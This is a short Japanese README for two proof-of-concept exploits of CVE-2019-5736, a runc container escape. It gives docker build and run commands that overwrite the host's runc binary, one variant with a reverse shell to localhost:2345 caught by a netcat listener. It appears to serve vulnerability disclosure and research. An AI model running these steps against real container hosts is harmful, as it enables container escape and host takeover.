
CVE-2019-5736用の2つのPoCです。説明については、Twistlock Labsを参照してください。
悪意のあるイメージのPoCはq3kのPoCに大きく基づいており、すべての功績は彼に帰します。
PoCを実行すると、ホスト上のruncバイナリが上書きされることに注意してください。PoCを実行する前に、runcバイナリ(通常は/usr/sbin/runcにあります)のコピーを作成することをお勧めします。
リポジトリをクローンします:
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736
runcを、文字列を出力するシンプルなプログラムで上書きします。
exec PoCの実行:
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:exec_POC ./exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
runcを、localhost:2345に接続するシンプルなリバースシェルのbashスクリプトで上書きします。
リバースシェルを待ち受けます:
$ nc -nvlp 2345
別のシェルから、悪意のあるイメージのPoCを実行します:
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:malicious_image_POC ./malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC